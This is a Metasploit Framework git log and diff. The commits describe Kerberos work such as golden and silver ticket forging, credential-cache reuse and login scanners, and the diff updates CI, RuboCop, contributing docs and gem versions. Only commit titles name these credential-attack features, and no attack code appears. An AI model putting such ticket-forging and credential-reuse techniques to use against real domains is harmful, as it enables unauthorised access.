adfoster-r7 1307f01b76 Align with keytab instead of key_tab 2022-11-02 13:04:51 +00:00
adfoster-r7 98d2633859 Add Kerberos ktutil module 2022-11-02 13:04:50 +00:00
cgranleese-r7 725a3d50c7 Land #17208, Merge 6.2.25 master into kerberos feature branch 2022-11-02 12:52:19 +00:00
adfoster-r7 7774b7ddcf Merge remote-tracking branch 'upstream/master' into merge-6.2.25-master-into-kerberos-feature-branch 2022-10-31 23:15:11 +00:00
Spencer McIntyre b6d46fbf5d Land #17175, kerberos support in smb_login 2022-10-28 13:58:18 -04:00
Spencer McIntyre edf211e374 Set proof to the Kerberos error 2022-10-28 13:55:44 -04:00
Christophe De La Fuente 4ec7eea436 Fixes from code review 2022-10-28 15:33:34 +02:00
Christophe De La Fuente f1639797b9 Rubocop updates 2022-10-21 17:17:06 +02:00
Christophe De La Fuente 52904b8cb6 Add support to Kerberos
- Add kerberos authenticator to `scanner/smb/smb_login` and the
  corresponding login scanner library
- Add new options: `UseCachedCredentials` and `StoreCredentialCache`
- Add `use_cached_credentials` attribute to
  Kerberos::ServiceAuthenticator::Base. This enables/disables the use of
  cached Kerberos credentials from the database.
- Add `store_credential_cache` attribute to
  Kerberos::ServiceAuthenticator::Base. This enables/disables storing
  Kerberos TGS MIT Credential Cache to the database.
2022-10-21 16:16:10 +02:00
Ashley Donaldson 16a547d9ed Moved all PKINIT structures into the one file 2022-10-17 18:34:30 +11:00
Ashley Donaldson 09e740d48d Changes from code review 2022-10-17 17:19:50 +11:00
Ashley Donaldson c7bab60a3e Fix to support DNS entries in certificate files 2022-10-07 15:17:07 +11:00
Ashley Donaldson aa98c9d004 Removed vestigial test 2022-10-07 14:29:20 +11:00
Ashley Donaldson 80bb1867bc Added documentation for the module 2022-10-07 14:24:37 +11:00
Ashley Donaldson db12c7e0f0 Added tests for parsing new Kerberos structures 2022-10-07 14:04:24 +11:00
Ashley Donaldson 793a05f9f3 Added comments for new functions 2022-10-07 11:55:47 +11:00
Ashley Donaldson b5a076a1f1 Neaten parameter and error handling 2022-10-07 11:24:39 +11:00
Ashley Donaldson 063a768959 Store ccache 2022-10-07 09:56:11 +11:00
Ashley Donaldson 58c30f10aa Send and Receive PKINIT responses 2022-10-07 01:04:10 +11:00
adfoster-r7 e2ce631709 Land #17019, Update CCache Reuse for TGTs (and Golden Tickets) 2022-10-05 11:40:25 +01:00
Spencer McIntyre 5d88a28fa4 Update YARD docs for TGT reuse 2022-10-03 09:04:30 -04:00
Spencer McIntyre 421121736d Load and use cached TGTs 2022-09-30 13:23:52 -04:00
Spencer McIntyre a619303f2c Save tickets in a compatible way for retrieval 2022-09-30 13:23:52 -04:00
Spencer McIntyre acbe644588 Document some of the parameter types 2022-09-30 13:23:52 -04:00
Spencer McIntyre 82912aad38 Support delegation from stored TGTs 2022-09-30 13:23:52 -04:00
Spencer McIntyre 081d66330b Add a constructor method for Krb5Ccache 2022-09-30 13:23:52 -04:00
Spencer McIntyre 89c3792886 Allow authenticating with stored TGTs 2022-09-30 13:23:52 -04:00
Spencer McIntyre 6bd9de43d6 Add the #request_service_ticket method 2022-09-30 13:23:52 -04:00
Spencer McIntyre c89d0a7b02 Land #17079, Merge latest master
Merge latest master into Kerberos feature branch
2022-09-29 13:10:06 -04:00
adfoster-r7 5d345e6689 Merge branch 'upstream-master' into feature-kerberos-authentication 2022-09-29 16:42:58 +01:00
adfoster-r7 6cd2c6a82d Land #17025, Allow user_id to be configurable in ticket forging 2022-09-27 13:53:36 +01:00
cgranleese-r7 50685161ef Allow user_id to be configurable in ticket forging 2022-09-22 14:18:17 +01:00
Spencer McIntyre 3e65ba49ef Land #16976, Add documentation for ticket forging
Add documentation for kerberos ticket forging
2022-09-15 09:02:40 -04:00
Spencer McIntyre c5c4cc0ebb Fix a small doc typo left over from the rename 2022-09-15 08:58:16 -04:00
adfoster-r7 3891413f92 Update documentation 2022-09-14 17:20:57 +01:00
adfoster-r7 edef4022cd Add documentation for kerberos ticket forging 2022-09-02 16:36:40 +01:00
adfoster-r7 e4c9721a32 Land #16707, Add Silver and Golden ticket forging module 2022-09-02 11:29:36 +01:00
dwelch-r7 5f85175f56 Add module for golden/silver ticket forging 2022-09-01 16:12:07 +01:00
Christophe De La Fuente 223f21b114 Land #16770, Kerberos CCache File Reuse 2022-08-18 19:18:27 +02:00
Spencer McIntyre 596fae611f Fix an issue caused my a missing renew_till field
When #renew_till is nil, the encoding will fail. This should be encoded
as 0 in this case.
2022-08-18 11:35:39 -04:00
Spencer McIntyre 009ada3cc4 Fix issues from the rebase 2022-08-18 11:35:29 -04:00
Spencer McIntyre 7da5f2ad4a Changes from PR feedback 2022-07-28 16:05:22 -04:00
Spencer McIntyre 1ed064c1ea Log when a cached credential is used 2022-07-28 16:03:24 -04:00
Spencer McIntyre 52e84fa328 Add explicit ticket support for WinRM modules 2022-07-28 16:03:24 -04:00
Spencer McIntyre 942259d44b Add logging for why credentials are filtered 2022-07-28 16:03:24 -04:00
Spencer McIntyre 95d8b7005e Allow reusing cached and explicit CCACHE files 2022-07-28 16:03:22 -04:00
adfoster-r7 93ad8ae232 Land #16760, Send delegated credentials using WinRM 2022-07-27 17:08:29 +01:00
Ashley Donaldson f16e2cfb35 Send TGT to WinRM to allow further access of network resources (kerberos double hop) 2022-07-27 16:19:09 +01:00
Spencer McIntyre 1e903807bb Land #16730, Add mssql Kerberos auth support 2022-07-15 15:00:14 -04:00
adfoster-r7 37f7c15b1e Update mssql login module to support kerberos authentication 2022-07-15 17:33:54 +01:00
adfoster-r7 f2ff7bb913 Add mssql kerberos authentication 2022-07-15 17:26:10 +01:00
adfoster-r7 9579e355c1 Land #16749, Add winrm kerberos authentication support 2022-07-15 16:24:36 +01:00
adfoster-r7 f404fd9abe Land #16700, LDAP Kerberos and NTLM authentication 2022-07-11 13:27:55 +01:00
Ashley Donaldson 39f90d95b1 Create sessions for winrm_login successes.
Reuses the connection, so that authentication doesn't need to happen again
2022-07-08 16:57:09 +10:00
Ashley Donaldson d3e7152954 Changes from code review 2022-07-08 11:47:54 +10:00
Spencer McIntyre ade10650a8 Set the NTLM flags for LDAP authentication
The sign and seal flags need to be removed for LDAP. Because sign and
seal are not set, key56 and key128 can also be removed.

The rest of the flags are taken from
https://github.com/rapid7/ruby_smb/blob/cc5228730f9bc39215322ab6e07fd8da33602bb9/lib/ruby_smb/ntlm.rb#L31
2022-07-07 13:20:34 -04:00
Ashley Donaldson f9f3be3644 Fix unit tests 2022-07-07 18:04:22 +10:00
Ashley Donaldson b2eb348d94 Added WinRM using Kerberos, including encryption 2022-07-07 13:17:09 +10:00
Spencer McIntyre b8ca08d3ce Support NTLM and kerberos auth in LDAP 2022-07-06 17:12:27 -04:00
Spencer McIntyre cfc24b3625 Land #16670, Add initial smb kerberos auth support 2022-07-06 15:48:56 -04:00
Spencer McIntyre 4abef7d373 Remove an unused option and require SmbRhostname 2022-07-06 15:16:50 -04:00
Spencer McIntyre e53bccae85 Set the session key for older SMB dialects too 2022-07-06 15:16:40 -04:00
adfoster-r7 aea37f7137 Add initial SMB Kerberos authentication support 2022-07-06 16:15:33 +01:00
adfoster-r7 5a6adf7c01 Land #16719, Updated CCache Data Module 2022-07-04 17:52:04 +01:00
Spencer McIntyre d31ffa27d3 Add and use a new kerberos CCache model definition 2022-07-01 11:57:30 -04:00
Spencer McIntyre 8c3d7ff42f Rename Thrift related definitions
These definitions are only used by one exploit. BinData registers the
class name globally meaning that the Header and Data types were being
defined here which conflicted with those needed for Kerberos.
2022-07-01 11:56:55 -04:00
adfoster-r7 e40e835fd8 Land #16706, Kerberos login enhancements 2022-06-30 14:51:30 +01:00
adfoster-r7 f508341155 Land #16705, Fix bugs in previous etypes work 2022-06-29 18:11:25 +01:00
Ashley Donaldson 4f650e7c93 Rename parameter 2022-06-28 08:12:56 +10:00
Ashley Donaldson 997f9b92d9 Changes from code review 2022-06-24 09:33:57 +10:00
Ashley Donaldson 96046f9aec Remove unnecessary freeze calls
Co-authored-by: adfoster-r7 <60357436+adfoster-r7@users.noreply.github.com>
2022-06-24 08:36:44 +10:00
Ashley Donaldson 2cce4ac1c1 Fix unit tests 2022-06-23 16:55:30 +10:00
Ashley Donaldson bcd30b9be8 Don't error if it's not 12, as this can occur on older systems 2022-06-23 11:52:55 +10:00
Ashley Donaldson 2553bae018 Report correct password when clock is wrong or password has expired 2022-06-23 11:33:45 +10:00
Ashley Donaldson 3e33e2694d Include information on whether account is disabled or locked.
We can do this more precisely for Windows' implementation of Kerberos
by using the undocumented PA-PW-SALT entry.
2022-06-23 10:46:25 +10:00
Ashley Donaldson 8d1d2d5aad Fix bugs from #16685 2022-06-23 10:20:59 +10:00
adfoster-r7 89187c1fa9 Land #16685, Add missing Kerberos encryption types 2022-06-22 13:13:30 +01:00
dwelch-r7 e672fad870 Land #16689, Update Kerberos to support host addresses in tickets 2022-06-22 12:52:17 +01:00
Ashley Donaldson a4a0fc3028 Changes from code review.
Use kwargs instead of default values for rarer crypto args.
Revert case-sensitivity change; we'll leave krb5 on Linux til later.
More constants
2022-06-22 16:03:36 +10:00
Ashley Donaldson 15446fd173 Incorporated new encryption methods into login scanner, including negotiating 2022-06-22 09:36:25 +10:00
Ashley Donaldson 19b62a5af6 Support several new encryption types for Kerberos.
Supports DES-CBC-MD5, DES3-CBC-SHA1, AES128, AES256
2022-06-22 09:13:33 +10:00
dwelch-r7 81a37ecf88 Land #16625, Add Kerberos LoginScanner support 2022-06-20 17:14:52 +01:00
adfoster-r7 f8901a8b17 Add Kerberos LoginScanner support 2022-06-20 16:38:32 +01:00
adfoster-r7 3f56f9891d Update keberos to support host addresses in tickets 2022-06-18 04:16:36 +01:00
dwelch-r7 ac5a885f16 Land #16660, Fix Kerberos flags decoding logic 2022-06-17 17:38:09 +01:00
dwelch-r7 3ce8b2e3bc Land #16678, Support decoding pa_data as part of kdc enc response 2022-06-17 17:19:45 +01:00
adfoster-r7 5dd650fc76 Support decoding pa_data as part of kdc enc response 2022-06-15 20:46:45 +01:00
adfoster-r7 affc5bc294 Fix Kerberos flags decoding logic 2022-06-09 12:22:20 +01:00
Grant Willcox 34de5cf5e6 Land PR #16658 - Move kerberos tests to be under the remote folder
Move Kerberos tests to be under the remote folder to match the actual location of the respective library files in Metasploit Framework.
2022-06-08 11:01:05 -05:00
adfoster-r7 f1e5376414 Move kerberos tests to be under the remote folder 2022-06-08 03:21:25 +01:00
Tod Beardsley 54667a2424 Merge branch 'rapid7:master' into master 2022-01-30 09:13:37 -08:00
Tod Beardsley 1d400bd094 Merge remote-tracking branch 'upstream/master' 2021-06-04 20:23:30 -05:00
1256 changed files with 77245 additions and 30335 deletions
+2 -3
View File
@@ -38,7 +38,7 @@ jobs:
fail-fast: true
matrix:
ruby:
- 2.7
- '2.7'
name: Ruby ${{ matrix.ruby }}
steps:
@@ -48,12 +48,11 @@ jobs:
- name: Setup Ruby
uses: ruby/setup-ruby@v1
with:
ruby-version: ${{ matrix.ruby }}
ruby-version: '${{ matrix.ruby }}'
bundler-cache: true
working-directory: docs
- name: build
working-directory: docs
run: |
bundle exec ruby build.rb
bundle exec ruby build.rb --production
+1 -1
View File
@@ -59,7 +59,7 @@ jobs:
comment: `
Thanks for your pull request! Before this can be merged, we need the following documentation for your module:
- [Writing Module Documentation](https://github.com/rapid7/metasploit-framework/wiki/Writing-Module-Documentation)
- [Writing Module Documentation](https://docs.metasploit.com/docs/development/quality/writing-module-documentation.html)
- [Template](https://github.com/rapid7/metasploit-framework/blob/master/documentation/modules/module_doc_template.md)
- [Examples](https://github.com/rapid7/metasploit-framework/tree/master/documentation/modules)
`
+2 -2
View File
@@ -35,7 +35,7 @@ jobs:
fail-fast: true
matrix:
ruby:
- 2.7
- '2.7'
name: Lint msftidy
steps:
@@ -51,7 +51,7 @@ jobs:
- uses: ruby/setup-ruby@v1
with:
ruby-version: ${{ matrix.ruby }}
ruby-version: '${{ matrix.ruby }}'
bundler-cache: true
env:
BUNDLE_WITHOUT: "coverage development pcap"
+1
View File
@@ -67,6 +67,7 @@ jobs:
- '2.7'
- '3.0'
- '3.1'
- '3.2'
os:
- ubuntu-20.04
- ubuntu-latest
+207 -5
View File
@@ -175,12 +175,13 @@ Lint/DeprecatedGemVersion:
Exclude:
- 'metasploit-framework.gemspec'
Metrics/ClassLength:
Metrics/ModuleLength:
Description: 'Most Metasploit modules are quite large. This is ok.'
Enabled: true
Exclude:
- 'modules/**/*'
- 'test/modules/**/*'
Enabled: false
Metrics/ClassLength:
Description: 'Most Metasploit classes are quite large. This is ok.'
Enabled: false
Style/ClassAndModuleChildren:
Enabled: false
@@ -217,6 +218,10 @@ Style/FrozenStringLiteralComment:
Enabled: false
Description: 'We cannot support this yet without a lot of things breaking'
Style/MutableConstant:
Enabled: false
Description: 'We cannot support this yet without a lot of things breaking'
Style/RedundantReturn:
Description: 'This often looks weird when mixed with actual returns, and hurts nothing'
Enabled: false
@@ -253,6 +258,18 @@ Style/NumericPredicate:
Description: 'This adds no efficiency nor space saving'
Enabled: false
Style/EvenOdd:
Description: 'This adds no efficiency nor space saving'
Enabled: false
Style/FloatDivision:
Description: 'Not a safe rule to run on Metasploit without manual verification as the right hand side may be a string'
Enabled: false
Style/FormatString:
Description: 'Not a safe rule to run on Metasploit without manual verification that the format is not redefined/shadowed'
Enabled: false
Style/Documentation:
Enabled: true
Description: 'Most Metasploit modules do not have class documentation.'
@@ -350,6 +367,191 @@ Naming/MethodParameterName:
Description: 'Whoever made this requirement never looked at crypto methods, IV'
MinNameLength: 2
Naming/PredicateName:
Enabled: true
# Current methods that break the rule, so that we don't add additional methods that break the convention
AllowedMethods:
- has_additional_info?
- has_advanced_options?
- has_auth
- has_auto_target?
- has_bad_activex?
- has_badchars?
- has_chars?
- has_check?
- has_command?
- has_content_type_extension?
- has_datastore_cred?
- has_evasion_options?
- has_fatal_errors?
- has_fields
- has_files?
- has_flag?
- has_function_name?
- has_gcc?
- has_h2_headings
- has_input_name?
- has_j_security_check?
- has_key?
- has_match?
- has_module
- has_object_ref
- has_objects_list
- has_options?
- has_page?
- has_passphrase?
- has_pid?
- has_pkt_line_data?
- has_prereqs?
- has_privacy_waiver?
- has_privates?
- has_protected_mode_prompt?
- has_proxy?
- has_read_data?
- has_ref?
- has_required_args
- has_required_module_options?
- has_requirements
- has_rop?
- has_s_flag?
- has_service_cred?
- has_subscriber?
- has_subtree?
- has_text
- has_tlv?
- has_u_flag?
- has_users?
- has_vuln?
- has_waiver?
- have_auth_error?
- have_powershell?
- is_accessible?
- is_admin?
- is_alive?
- is_alpha_web_server?
- is_android?
- is_app_binom3?
- is_app_carlogavazzi?
- is_app_cnpilot?
- is_app_epaduo?
- is_app_epmp1000?
- is_app_infovista?
- is_app_ironport?
- is_app_metweblog?
- is_app_oilom?
- is_app_openmind?
- is_app_popad?
- is_app_radware?
- is_app_rfreader?
- is_app_sentry?
- is_app_sevone?
- is_app_splunk?
- is_app_ssl_vpn?
- is_array_type?
- is_auth_required?
- is_author_blacklisted?
- is_badchar
- is_base64?
- is_bind?
- is_cached_size_accurate?
- is_cgi_enabled?
- is_cgi_exploitable?
- is_check_interesting?
- is_child_of?
- is_clr_enabled
- is_connect?
- is_dlink?
- is_dn?
- is_dynamic?
- is_error_code
- is_exception?
- is_exploit_module?
- is_exploitable?
- is_fqdn?
- is_glob?
- is_groupwise?
- is_guest_mode_enabled?
- is_hash_from_empty_pwd?
- is_high_integrity?
- is_hostname?
- is_ie?
- is_imc?
- is_imc_som?
- is_in_admin_group?
- is_interface?
- is_ip_targeted?
- is_key_wanted?
- is_leaf?
- is_local?
- is_logged_in?
- is_loggedin
- is_loopback_address?
- is_mac?
- is_match
- is_md5_format?
- is_module_arch?
- is_module_platform?
- is_module_wanted?
- is_multi_platform_exploit?
- is_not_null?
- is_null_pointer
- is_null_pointer?
- is_num?
- is_num_type?
- is_numeric
- is_online?
- is_parseable
- is_pass_ntlm_hash?
- is_passwd_method?
- is_password_required?
- is_payload_compatible?
- is_payload_platform_compatible?
- is_pointer_type?
- is_pri_key?
- is_proficy?
- is_rdp_up
- is_remote_exploit?
- is_resource_taken?
- is_rf?
- is_rmi?
- is_root?
- is_routable?
- is_running?
- is_scan_complete
- is_secure_admin_disabled?
- is_session_type?
- is_signature_correct?
- is_single_object?
- is_struct_type?
- is_supermicro?
- is_superuser?
- is_sws?
- is_system?
- is_system_user?
- is_target?
- is_target_suitable?
- is_trial_enabled?
- is_trustworthy
- is_uac_enabled?
- is_url_alive
- is_usable?
- is_uuid?
- is_valid?
- is_valid_bus?
- is_valid_snmp_value
- is_value_wanted?
- is_version_compat?
- is_version_tested?
- is_vmware?
- is_vul
- is_vulnerable?
- is_warbird?
- is_windows?
- is_writable
- is_writable?
- is_x86?
- is_zigbee_hwbridge_session?
# %q() is super useful for long strings split over multiple lines and
# is very common in module constructors for things like descriptions
Style/RedundantPercentQ:
+5 -5
View File
@@ -1,6 +1,6 @@
# Contributing to Metasploit
Thank you for your interest in making Metasploit -- and therefore, the
world -- a better place! Before you get started, please review our [Code of Conduct](https://github.com/rapid7/metasploit-framework/wiki/Code-Of-Conduct). This helps us ensure our community is positive and supportive for everyone involved.
world -- a better place! Before you get started, please review our [Code of Conduct](./CODE_OF_CONDUCT.md). This helps us ensure our community is positive and supportive for everyone involved.
## Code Free Contributions
Before we get into the details of contributing code, you should know there are multiple ways you can add to Metasploit without any coding experience:
@@ -15,9 +15,9 @@ Before we get into the details of contributing code, you should know there are m
## Code Contributions
For those of you who are looking to add code to Metasploit, your first step is to set up a [development environment]. Once that's done, we recommend beginners start by adding a [proof-of-concept exploit from ExploitDB,](https://www.exploit-db.com/search?verified=true&hasapp=true&nomsf=true) as a new module to the Metasploit framework. These exploits have been verified as recreatable and their ExploitDB page includes a copy of the exploitable software. This makes testing your module locally much simpler, and most importantly the exploits don't have an existing Metasploit implementation. ExploitDB can be slow to update however, so please double check that there isn't an existing module before beginning development! If you're certain the exploit you've chosen isn't already in Metasploit, read our [writing an exploit guide](https://github.com/rapid7/metasploit-framework/wiki/Get-Started-Writing-an-Exploit). It will help you to get started and avoid some common mistakes.
For those of you who are looking to add code to Metasploit, your first step is to set up a [development environment]. Once that's done, we recommend beginners start by adding a [proof-of-concept exploit from ExploitDB,](https://www.exploit-db.com/search?verified=true&hasapp=true&nomsf=true) as a new module to the Metasploit framework. These exploits have been verified as recreatable and their ExploitDB page includes a copy of the exploitable software. This makes testing your module locally much simpler, and most importantly the exploits don't have an existing Metasploit implementation. ExploitDB can be slow to update however, so please double check that there isn't an existing module before beginning development! If you're certain the exploit you've chosen isn't already in Metasploit, read our [writing an exploit guide](https://docs.metasploit.com/docs/development/developing-modules/guides/get-started-writing-an-exploit.html). It will help you to get started and avoid some common mistakes.
Once you have finished your new module and tested it locally to ensure it's working as expected, check out our [guide for accepting modules](https://github.com/rapid7/metasploit-framework/wiki/Guidelines-for-Accepting-Modules-and-Enhancements#module-additions). This will give you a good idea of how to clean up your code so that it's likely to get accepted.
Once you have finished your new module and tested it locally to ensure it's working as expected, check out our [guide for accepting modules](https://docs.metasploit.com/docs/development/maintainers/process/guidelines-for-accepting-modules-and-enhancements.html#module-additions). This will give you a good idea of how to clean up your code so that it's likely to get accepted.
Finally, follow our short list of do's and don'ts below to make sure your valuable contributions actually make it into Metasploit's master branch! We try to consider all our pull requests fairly and in detail, but if you do not follow these rules, your contribution
will be closed. We need to ensure the code we're adding to master is written to a high standard.
@@ -83,7 +83,7 @@ If you need some more guidance, talk to the main body of open source contributor
Finally, **thank you** for taking the few moments to read this far! You're already way ahead of the
curve, so keep it up!
[Code of Conduct]:https://github.com/rapid7/metasploit-framework/wiki/CODE_OF_CONDUCT.md
[Code of Conduct]:https://docs.metasploit.com/docs/code-of-conduct.html
[Submit bugs and feature requests]:http://r-7.co/MSF-BUGv1
[Help fellow users with open issues]:https://github.com/rapid7/metasploit-framework/issues
[help fellow committers test recently submitted pull requests]:https://github.com/rapid7/metasploit-framework/pulls
@@ -101,7 +101,7 @@ curve, so keep it up!
[PR#9966]:https://github.com/rapid7/metasploit-framework/pull/9966
[pre-commit hook]:https://github.com/rapid7/metasploit-framework/blob/master/tools/dev/pre-commit-hook.rb
[API]:https://rapid7.github.io/metasploit-framework/api
[module documentation]:https://github.com/rapid7/metasploit-framework/wiki/Module-Documentation
[module documentation]:https://docs.metasploit.com/docs/using-metasploit/basics/module-documentation.html
[scripts]:https://github.com/rapid7/metasploit-framework/tree/master/scripts
[RSpec]:http://rspec.info
[Better Specs]:http://www.betterspecs.org/
+1 -2
View File
@@ -15,8 +15,7 @@ group :development do
# generating documentation
gem 'yard'
# for development and testing purposes
# lock to version with 2.6 support until project updates
gem 'pry-byebug', '~> 3.9.0'
gem 'pry-byebug'
# Ruby Debugging Library - rebuilt and included by default from Ruby 3.1 onwards.
# Replaces the old lib/debug.rb and provides more features.
gem 'debug', '>= 1.0.0'
+106 -99
View File
@@ -1,16 +1,17 @@
PATH
remote: .
specs:
metasploit-framework (6.2.34)
actionpack (~> 6.0)
activerecord (~> 6.0)
activesupport (~> 6.0)
metasploit-framework (6.3.9)
actionpack (~> 7.0)
activerecord (~> 7.0)
activesupport (~> 7.0)
aws-sdk-ec2
aws-sdk-iam
aws-sdk-s3
bcrypt
bcrypt_pbkdf
bson
chunky_png
dnsruby
ed25519
em-http-request
@@ -29,7 +30,7 @@ PATH
metasploit-concern
metasploit-credential
metasploit-model
metasploit-payloads (= 2.0.105)
metasploit-payloads (= 2.0.122)
metasploit_data_models
metasploit_payloads-mettle (= 1.0.20)
mqtt
@@ -51,6 +52,7 @@ PATH
pg
puma
railties
rasn1
rb-readline
recog
redcarpet
@@ -96,30 +98,29 @@ GEM
remote: https://rubygems.org/
specs:
Ascii85 (1.1.0)
actionpack (6.1.7)
actionview (= 6.1.7)
activesupport (= 6.1.7)
rack (~> 2.0, >= 2.0.9)
actionpack (7.0.4.2)
actionview (= 7.0.4.2)
activesupport (= 7.0.4.2)
rack (~> 2.0, >= 2.2.0)
rack-test (>= 0.6.3)
rails-dom-testing (~> 2.0)
rails-html-sanitizer (~> 1.0, >= 1.2.0)
actionview (6.1.7)
activesupport (= 6.1.7)
actionview (7.0.4.2)
activesupport (= 7.0.4.2)
builder (~> 3.1)
erubi (~> 1.4)
rails-dom-testing (~> 2.0)
rails-html-sanitizer (~> 1.1, >= 1.2.0)
activemodel (6.1.7)
activesupport (= 6.1.7)
activerecord (6.1.7)
activemodel (= 6.1.7)
activesupport (= 6.1.7)
activesupport (6.1.7)
activemodel (7.0.4.2)
activesupport (= 7.0.4.2)
activerecord (7.0.4.2)
activemodel (= 7.0.4.2)
activesupport (= 7.0.4.2)
activesupport (7.0.4.2)
concurrent-ruby (~> 1.0, >= 1.0.2)
i18n (>= 1.6, < 2)
minitest (>= 5.1)
tzinfo (~> 2.0)
zeitwerk (~> 2.3)
addressable (2.8.1)
public_suffix (>= 2.0.2, < 6.0)
afm (0.2.2)
@@ -127,22 +128,22 @@ GEM
activerecord (>= 3.1.0, < 8)
ast (2.4.2)
aws-eventstream (1.2.0)
aws-partitions (1.671.0)
aws-sdk-core (3.168.3)
aws-partitions (1.722.0)
aws-sdk-core (3.170.0)
aws-eventstream (~> 1, >= 1.0.2)
aws-partitions (~> 1, >= 1.651.0)
aws-sigv4 (~> 1.5)
jmespath (~> 1, >= 1.6.1)
aws-sdk-ec2 (1.354.0)
aws-sdk-ec2 (1.368.0)
aws-sdk-core (~> 3, >= 3.165.0)
aws-sigv4 (~> 1.1)
aws-sdk-iam (1.73.0)
aws-sdk-iam (1.75.0)
aws-sdk-core (~> 3, >= 3.165.0)
aws-sigv4 (~> 1.1)
aws-sdk-kms (1.60.0)
aws-sdk-kms (1.63.0)
aws-sdk-core (~> 3, >= 3.165.0)
aws-sigv4 (~> 1.1)
aws-sdk-s3 (1.117.2)
aws-sdk-s3 (1.119.1)
aws-sdk-core (~> 3, >= 3.165.0)
aws-sdk-kms (~> 1)
aws-sigv4 (~> 1.4)
@@ -150,16 +151,17 @@ GEM
aws-eventstream (~> 1, >= 1.0.2)
bcrypt (3.1.18)
bcrypt_pbkdf (1.1.0)
bindata (2.4.14)
bindata (2.4.15)
bson (4.15.0)
builder (3.2.4)
byebug (11.1.3)
chunky_png (1.4.0)
coderay (1.1.3)
concurrent-ruby (1.1.10)
concurrent-ruby (1.2.2)
cookiejar (0.3.3)
crass (1.0.6)
daemons (1.4.1)
debug (1.7.0)
debug (1.7.1)
irb (>= 1.5.0)
reline (>= 0.3.1)
diff-lcs (1.5.0)
@@ -177,20 +179,20 @@ GEM
http_parser.rb (>= 0.6.0)
em-socksify (0.3.2)
eventmachine (>= 1.0.0.beta.4)
erubi (1.11.0)
erubi (1.12.0)
eventmachine (1.2.7)
factory_bot (6.2.1)
activesupport (>= 5.0.0)
factory_bot_rails (6.2.0)
factory_bot (~> 6.2.0)
railties (>= 5.0.0)
faker (3.0.0)
faker (3.1.1)
i18n (>= 1.8.11, < 2)
faraday (2.7.1)
faraday (2.7.4)
faraday-net_http (>= 2.0, < 3.1)
ruby2_keywords (>= 0.0.4)
faraday-net_http (3.0.2)
faraday-retry (2.0.0)
faraday-retry (2.1.0)
faraday (~> 2.0)
faye-websocket (0.11.1)
eventmachine (>= 0.12.0)
@@ -214,8 +216,8 @@ GEM
httpclient (2.8.3)
i18n (1.12.0)
concurrent-ruby (~> 1.0)
io-console (0.5.11)
irb (1.6.1)
io-console (0.6.0)
irb (1.6.3)
reline (>= 0.3.0)
jmespath (1.6.2)
jsobfu (0.4.2)
@@ -225,16 +227,17 @@ GEM
logging (2.3.1)
little-plugger (~> 1.1)
multi_json (~> 1.14)
loofah (2.19.0)
loofah (2.19.1)
crass (~> 1.0.2)
nokogiri (>= 1.5.9)
memory_profiler (1.0.1)
metasm (1.0.5)
metasploit-concern (4.0.5)
activemodel (~> 6.0)
activesupport (~> 6.0)
railties (~> 6.0)
metasploit-credential (6.0.1)
metasploit-concern (5.0.1)
activemodel (~> 7.0)
activesupport (~> 7.0)
railties (~> 7.0)
zeitwerk
metasploit-credential (6.0.2)
metasploit-concern
metasploit-model
metasploit_data_models (>= 5.0.0)
@@ -244,33 +247,33 @@ GEM
rex-socket
rubyntlm
rubyzip
metasploit-model (4.0.6)
activemodel (~> 6.0)
activesupport (~> 6.0)
railties (~> 6.0)
metasploit-payloads (2.0.105)
metasploit_data_models (5.0.6)
activerecord (~> 6.0)
activesupport (~> 6.0)
metasploit-model (5.0.1)
activemodel (~> 7.0)
activesupport (~> 7.0)
railties (~> 7.0)
metasploit-payloads (2.0.122)
metasploit_data_models (6.0.2)
activerecord (~> 7.0)
activesupport (~> 7.0)
arel-helpers
metasploit-concern
metasploit-model (>= 3.1)
pg
railties (~> 6.0)
railties (~> 7.0)
recog
webrick
metasploit_payloads-mettle (1.0.20)
method_source (1.0.0)
mini_portile2 (2.8.0)
minitest (5.16.3)
mqtt (0.5.0)
msgpack (1.6.0)
mini_portile2 (2.8.1)
minitest (5.18.0)
mqtt (0.6.0)
msgpack (1.6.1)
multi_json (1.15.0)
mustermann (3.0.0)
ruby2_keywords (~> 0.0.1)
nessus_rest (0.1.6)
net-ldap (0.17.1)
net-protocol (0.2.0)
net-protocol (0.2.1)
timeout
net-smtp (0.3.3)
net-protocol
@@ -278,7 +281,7 @@ GEM
network_interface (0.0.2)
nexpose (7.3.0)
nio4r (2.5.8)
nokogiri (1.13.10)
nokogiri (1.14.2)
mini_portile2 (~> 2.8.0)
racc (~> 1.4)
nori (2.6.0)
@@ -291,7 +294,7 @@ GEM
packetfu (1.1.13)
pcaprub
parallel (1.22.1)
parser (3.1.3.0)
parser (3.2.1.1)
ast (~> 2.4.1)
patch_finder (1.0.2)
pcaprub (0.13.1)
@@ -301,41 +304,44 @@ GEM
hashery (~> 2.0)
ruby-rc4
ttfunk
pg (1.4.5)
pry (0.13.1)
pg (1.4.6)
pry (0.14.2)
coderay (~> 1.1)
method_source (~> 1.0)
pry-byebug (3.9.0)
pry-byebug (3.10.1)
byebug (~> 11.0)
pry (~> 0.13.0)
public_suffix (5.0.0)
puma (6.0.0)
pry (>= 0.13, < 0.15)
public_suffix (5.0.1)
puma (6.1.1)
nio4r (~> 2.0)
racc (1.6.1)
rack (2.2.4)
rack-protection (3.0.4)
racc (1.6.2)
rack (2.2.6.3)
rack-protection (3.0.5)
rack
rack-test (2.0.2)
rack (>= 1.3)
rails-dom-testing (2.0.3)
activesupport (>= 4.2.0)
nokogiri (>= 1.6)
rails-html-sanitizer (1.4.3)
loofah (~> 2.3)
railties (6.1.7)
actionpack (= 6.1.7)
activesupport (= 6.1.7)
rails-html-sanitizer (1.5.0)
loofah (~> 2.19, >= 2.19.1)
railties (7.0.4.2)
actionpack (= 7.0.4.2)
activesupport (= 7.0.4.2)
method_source
rake (>= 12.2)
thor (~> 1.0)
zeitwerk (~> 2.5)
rainbow (3.1.1)
rake (13.0.6)
rasn1 (0.12.1)
strptime (~> 0.2.5)
rb-readline (0.5.5)
recog (3.0.3)
nokogiri
redcarpet (3.5.1)
regexp_parser (2.6.1)
reline (0.3.1)
redcarpet (3.6.0)
regexp_parser (2.7.0)
reline (0.3.2)
io-console (~> 0.5)
rex-arch (0.1.14)
rex-text
@@ -345,12 +351,12 @@ GEM
rex-core
rex-struct2
rex-text
rex-core (0.1.28)
rex-core (0.1.30)
rex-encoder (0.1.6)
metasm
rex-arch
rex-text
rex-exploitation (0.1.36)
rex-exploitation (0.1.38)
jsobfu
metasm
rex-arch
@@ -368,21 +374,21 @@ GEM
rex-random_identifier
rex-text
ruby-rc4
rex-random_identifier (0.1.9)
rex-random_identifier (0.1.10)
rex-text
rex-registry (0.1.4)
